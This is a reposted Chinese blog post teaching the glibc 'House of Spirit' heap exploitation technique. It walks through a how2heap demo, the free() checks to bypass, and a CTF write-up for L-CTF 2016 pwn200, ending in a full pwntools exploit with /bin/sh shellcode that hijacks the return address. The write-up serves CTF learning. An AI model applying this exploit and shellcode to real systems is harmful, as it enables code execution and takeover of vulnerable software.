Quantcast
Viewing all articles
Browse latest Browse all 12749

【技术分享】堆之House of Spirit

【技术分享】堆之House of Spirit

2017-01-18 15:04:11
来源:安全客 作者:ray_cp

阅读:851次
点赞(0)
收藏





Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

作者:ray_cp

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

终于做到了这里,一直听说什么house of lore、house of spirit什么的,之前一直不会,只是听听。到湖湘杯的时候里面有一题note,最后是用这个house of spirit解决掉的,比赛结束以后决定花时间把这个给好好的看看,也拿一道题做例子来实践实践,题是l-ctf2016的题,分析了堆的部分源码,看了几篇大牛的文章,最后pwn成功了,于是就有了这篇总结。掌握这个技巧前提是对堆的结构以及管理需要一定的了解,不懂的可以在网上找一些资料去补补。

House of Spirit原理

House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。还是像以前一样,先上一段代码给大家一个直观印象再具体解释,这段代码是shellfish的github里面的源码。
#include<stdio.h> #include<stdlib.h> intmain() { printf("Thisfiledemonstratesthehouseofspiritattack.\n"); printf("Callingmalloc()oncesothatitsetsupitsmemory.\n"); malloc(1); printf("Wewillnowoverwriteapointertopointtoafake'fastbin'region.\n"); unsignedlonglong*a; unsignedlonglongfake_chunks[10]__attribute__((aligned(16))); printf("Thisregionmustcontaintwochunks.Thefirststartsat%pandthesecondat%p.\n",&fake_chunks[1],&fake_chunks[7]); printf("Thischunk.sizeofthisregionhastobe16morethantheregion(toaccomodatethechunkdata)whilestillfallingintothefastbincategory(<=128).ThePREV_INUSE(lsb)bitisignoredbyfreeforfastbin-sizedchunks,howevertheIS_MMAPPED(secondlsb)andNON_MAIN_ARENA(thirdlsb)bitscauseproblems.\n"); printf("...notethatthishastobethesizeofthenextmallocrequestroundedtotheinternalsizeusedbythemallocimplementation.E.g.onx64,0x30-0x38willallberoundedto0x40,sotheywouldworkforthemallocparameterattheend.\n"); fake_chunks[1]=0x40;//thisisthesize printf("Thechunk.sizeofthe*next*fakeregionhasbeabove2*SIZE_SZ(16onx64)butbelowav->system_mem(128kbbydefaultforthemainarena)topassthenextsizeintegritychecks.\n"); fake_chunks[9]=0x2240;//nextsize printf("Nowwewilloverwriteourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[1]); printf("...notethatthememoryaddressofthe*region*associatedwiththischunkmustbe16-bytealigned.\n"); a=&fake_chunks[2]; printf("Freeingtheoverwrittenpointer.\n"); free(a); printf("Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[1],&fake_chunks[2]); printf("malloc(0x30):%p\n",malloc(0x30)); } A、hos的经典利用场景的条件如下

(1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下。


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

(2)存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域

B、利用思路

(1)伪造堆块

看了上面的两个情景,反应快的人可能明白了hos的主要意图了,那就是,在可控1及可控2构造好数据,将它伪造成一个fastbin。

(2)覆盖堆指针指向上一步伪造的堆块。

(3)释放堆块,将伪造的堆块释放入fastbin的单链表里面。

(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。

需要说明的是第一步中的伪造堆块的过程,fastbin是一个单链表结构,遵循FIFO的规则,32位系统中fastbin的大小是在16~64字节之间,64位是在32~128字节之间。释放时会进行一些检查,所以需要对伪堆块中的数据进行构造,使其顺利的释放进到fastbin里面,看堆free过程中相关的源代码。

void public_fREe(Void_t*mem) { mstatear_ptr; mchunkptrp;/*chunkcorrespondingtomem*/ [...] p=mem2chunk(mem); #ifHAVE_MMAP if(chunk_is_mmapped(p))/*首先M标志位不能被置上才能绕过。releasemmappedmemory.*/ { munmap_chunk(p); return; } #endif ar_ptr=arena_for_chunk(p); [...] _int_free(ar_ptr,mem); 首先mmap标志位不能被置上,否则会直接调用munmap_chunk函数去释放堆块。
void _int_free(mstateav,Void_t*mem) { mchunkptrp;/*chunkcorrespondingtomem*/ INTERNAL_SIZE_Tsize;/*itssize*/ mfastbinptr*fb;/*associatedfastbin*/ [...] p=mem2chunk(mem); size=chunksize(p); [...] /* Ifeligible,placechunkonafastbinsoitcanbefound andusedquicklyinmalloc. */ if((unsignedlong)(size)<=(unsignedlong)(av->max_fast)/*其次,size的大小不能超过fastbin的最大值*/ #ifTRIM_FASTBINS /* IfTRIM_FASTBINSset,don'tplacechunks borderingtopintofastbins */ &&(chunk_at_offset(p,size)!=av->top) #endif ){ if(__builtin_expect(chunk_at_offset(p,size)->size<=2*SIZE_SZ,0) ||__builtin_expect(chunksize(chunk_at_offset(p,size)) >=av->system_mem,0))/*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/ { errstr="free():invalidnextsize(fast)"; gotoerrout; } [...] fb=&(av->fastbins[fastbin_index(size)]); [...] p->fd=*fb; } 其次是伪造堆块的size字段不能超过fastbin的最大值,超过的话,就不会释放到fastbin里面了。

最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误。

对应到伪造堆块那张示意图来说,需要在可控区域1中伪造好size字段绕过第一个和第二个检查,可控区域2则是伪造的是下一个堆块的size来绕过最后一个检查。

所以总的来说,hos的主要意思是我们想要控制的区域控制不了,但它前面和后面都可以控制,所以伪造好数据将它释放到fastbin里面,后面将该内存区域当做堆块申请出来,致使该区域被当做普通的内存使用,从而目标区域就变成了可控的了。


l-ctf2016--pwn200

hos原理就是上面讲的,下面就是具体的实践,我所知道的是l-ctf2016的pwn200和湖湘杯的note,考察的都是这个技能点。下面主要是用l-ctf2016的pwn200来讲述这题。

还是先从程序功能说起。

A、程序功能


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

先是输入用户名,这里有个off-by-one漏洞,输入48个字符即可泄露出rbp栈的地址。


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

接着输入id,这里让我无语的是ida在给我反编译的时候,input_num返回的值并没有保存在某个内存区域里面,导致后面饶了很大一圈找不到可以伪造的区域绕过检查,后面在汇编窗口看到,是有保存返回值的(图里面的var38便是保存返回值的地方),所以说IDA的反编译插件也不可全信啊。这个id对应的就是前面说的可控区域2。


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

最后输入money,可以看到输入的money可以覆盖到dest堆指针,这正是满足了前面说的可以覆盖堆指针的条件。同时这里保存money的区域也就是前面说的可控区域1。完成前面三个步骤后,进到循环之中。check in函数功能如下,判断全局变量ptr是否为空,是的话,输入size,malloc申请空间。


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

check out函数的功能是简单的调用free函数释放空间,将全局指针置0.


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

B、查看防护机制

首先查看开启的安全机制


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

可以看到,基本上什么保护都没开,可以直接在堆栈中部署shellcode,只要泄露出堆栈地址,并控制函数流执行到shellcode就可以了。

C、利用思路

先看下官方出题人写的wp(个人觉得wp写的有点点问题)。

1. 首先泄露出栈地址,然后覆盖堆指针为栈上的可控区域,我们可以精巧的构造这块区域成一个伪造的堆块,之后通过free,这个堆块即被加入到了fastbin中,然后再通过malloc,即可对这个堆块的空间进行任意写,这时只要覆盖栈上的返回地址为一个jmp rsp,再通过一个short jmp,来执行shellcode,即可获得shell

2. 另外,在构造堆块时,同时要构造好相邻的下一个堆块的头部,使得其prev_inuse == 1(在free的时候会检查)

3. (其实这个漏洞利用的过程也叫house-of-spirit)

4. 然而。事实上由于我的疏忽,可以直接覆盖指针为got表函数的地址,然后strcpy修改got表函数的地址,即可执行shellcode,sigh:(

这题有比较简单的解法,但为了说明hos,还是按照hos的步骤来具体说明。

(1)获取堆栈地址


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

前面说过,输入name时可以利用off-by-one泄露堆栈地址,name输入时不会使用'\x00'截断,如果输入48个字符,最终打印时会将rbp中的值打印出来。

(2)伪造堆块

伪造堆块的过程示意图如下,在money中输入的是伪堆块的size,在id里输入的是下一个堆块的size,以此绕过free释放堆块时候系统的检查。


Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

(3)覆盖堆指针,在输入money的时候,会覆盖堆块。

(4)调用free函数将伪堆块释放到fastbin中

(5)申请堆块,将刚刚的伪堆块申请出来

(6)输入数据,即可修改目标区域,eip,使其指向shellcode。control the world~

D、最终exp

exp最终如下,里面还有部分注释。

frompwnimport* fromctypesimport* DEBUG=1 ifDEBUG: p=process('./pwn200') else: r=remote('172.16.4.93',13025) shellcode="" shellcode+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode+="\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode+="\x6a\x3b\x58\x31\xd2\x0f\x05" defpwn(): #gdb.attach(p,"b*0x400991") #####off-by-one泄露栈地址 data='aaaaaaaa'+shellcode data=data.ljust(46,'a') data+='bb' p.send(data) p.recvuntil('bb') rbp_addr=p.recvuntil(',w')[:-3] rbp_addr=u64(rbp_addr.ljust(8,'\x00')) printhex(rbp_addr) fake_addr=rbp_addr-0x90 shellcode_addr=rbp_addr-0x48 ###输入id伪造下一个堆块的size p.recvuntil('id~~?') p.send('32'+'\n') p.recvuntil('money~') data=p64(0)*4+p64(0)+p64(0x41)####伪造堆块的size data=data.ljust(0x38,'\x00')+p64(fake_addr)####覆盖堆指针 p.send(data) p.recvuntil('choice:') p.send('2'+'\n')####释放伪堆块进入fastbin p.recvuntil('choice:') p.send('1'+'\n') p.recvuntil('long?') p.send('48\n') p.recvuntil('\n48\n')#####将伪堆块申请出来 data='a'*0x18+p64(shellcode_addr)#####将eip修改为shellcode的地址 data=data.ljust(48,'\x00') p.send(data) p.recvuntil('choice:') p.send('3\n')####退出返回时会去执行shellcode p.interactive() if__name__=='__main__': pwn() 执行结果:

Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit


小结

到这里这个hos算是讲完了,是自己的一个小总结,也希望对大家有点帮助吧。说到底,主要是在于目标区域(函数指针)不可控制,而它前面和后面的数据可以用来将这片内存伪造成一个堆块,释放从而进入到fastbin里面,最后再申请出来,从而实现控制目标区域的目的。

一步一步走来,感觉做堆的题最主要的还是要把堆管理的源码多看看,搞明白了以后,其他的学起来就好搞了。后面还有很多要看要学,继续前进。


参考文章

x86 Exploitation 101: “House of Spirit” – Friendly stack overflow

【CTF攻略】L-CTF 2016 官方 Writeup

MALLOC DES-MALEFICARUM

how2heap/house_of_spirit.c



Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

Image may be NSFW.
Clik here to view.
【技术分享】堆之House of Spirit

本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3417.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles